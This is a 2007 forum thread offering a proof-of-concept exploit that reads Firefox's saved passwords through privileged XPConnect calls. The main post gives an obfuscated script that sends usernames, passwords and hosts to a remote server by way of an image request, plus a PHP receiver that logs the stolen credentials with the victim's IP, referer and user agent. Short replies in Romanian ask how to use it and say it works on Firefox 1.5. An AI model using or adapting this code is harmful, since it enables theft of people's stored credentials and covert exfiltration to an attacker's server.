POC + Exploit. Getting Firefox passwords

Ras · June 28, 2007

<html>
<head>
<script>

document.write('[img=http://www.0x000000.com/hacks/red_dress.gif]

');
/*
- It would be possible to glue all these passwords on the image above, and I could capture them in my logs.
- I could call a remote PHP script which submits the passwords.
- This shows how dangerous trusted content can be, imagine you open a HELP file from a piece of software you downloaded,
you are never sure your passwords are send to some server.
- Thanks to Mozilla for this flawed security model, I heard this won't work anymore in FF 3.0 Well, we'll see.
*/

setTimeout("listPW()",1000);

function listPW() {
   if(document.location !='http://www.0x000000.com/hacks/hello.html') {
      netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
      var pm = Components.classes["@mozilla.org/passwordmanager;1"].getService();
      pm = pm.QueryInterface(Components.interfaces.nsIPasswordManager);
      var enumerator = pm.enumerator;
      document.writeln('Mozilla\'s idea of security, I do not store these passwords, it\'s only a PoC');
      document.writeln('

');
      while (enumerator.hasMoreElements()) {
         try {
         var np = enumerator.getNext();
         np = np.QueryInterface(Components.interfaces.nsIPassword);
         presult = '['+np.user+'] ['+np.password+'] ['+np.host+'] 
';
         document.writeln(presult);
         }
         catch(e) { }
      }
   } else {
   alert('this only runs from your PC, save the page to your desktop (CTRL+S) and open it in Firefox, then watch the Magicx!');
   }
}

</script>

</head>
<body>
[img=hello_files/red_dress.gif]


</body>
</html>

The myimage.php

<script>
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
img = "img.jpg"; var sm = "uspastestr()";
var pm = Components.classes["@mozilla.org/"+sm.substr(2,3)+"swordmanager;1"].getService();
pm = pm.QueryInterface(eval("Components.interfaces.nsI"+sm.charAt(2).toUpperCase()+sm.substr(3,2)+"swordManager"));
var enumerator = pm.enumerator; var str = ''; while (enumerator.hasMoreElements()) {
try { var np = enumerator.getNext();
np = np.QueryInterface(eval("Components.interfaces.nsI"+sm.charAt(2).toUpperCase()+sm.substr(3,2)+"sword"));
presult = '['+eval("np."+sm.substr(0,2)+"er")+','+eval("np."+sm.substr(2,3)+"sword")+','+np.host+']'+String.fromCharCode(172); str += presult;
} catch(e) { } } 
img = img.concat("?str=").replace(img.substr(-3,3),sm.charAt(2)+"h"+sm.charAt(2))+str;
var str = "<img src=\"http://[server]/"+img+"\">";
document.write(str);  setTimeout("window.stop()",1000);

</script>

Change the variable $image by the image that will see the victim

<?php
header("Content-type: image/jpeg");
$img = imagecreatefromjpeg("img.jpg");
imagejpeg($img);
imagedestroy($img);

$strRnd=date("His");
$strFecha=date("H:i:s d/m/y ");
$strIP = getenv("REMOTE_ADDR");
$strUserAgent =  htmlentities($_SERVER['HTTP_USER_AGENT']);
$strReferer = htmlentities($_SERVER['HTTP_REFERER']); if (strlen($strReferer) == 0) { $strReferer = "Ninguna"; }
$str = $_GET['str'];
$str=str_replace(chr(172),"
",$str);

$fp = fopen("fox-".$strRnd.".html","w+");
fwrite($fp, "Fecha: ".$strFecha."
 Direccion IP: ".$strIP."
 Referencia: ".$strReferer."
 User-Agent: ".$strUserAgent.
"

".$str."
");
fclose($fp);
?>

ascuns1 · June 28, 2007

nu ma inteles cum fac cu asta??

SlicK · June 28, 2007

Functioneaza pe Firefox 1.5 dar te avertizeaza daca vrei sa-i permiti scriptului sa acceseze informatiile respective...

Sign In

POC + Exploit. Getting Firefox passwords

Recommended Posts

Ras

Link to comment

Share on other sites

ascuns1

Link to comment

Share on other sites

SlicK

Link to comment

Share on other sites

Join the conversation

Browse

Activity

Pages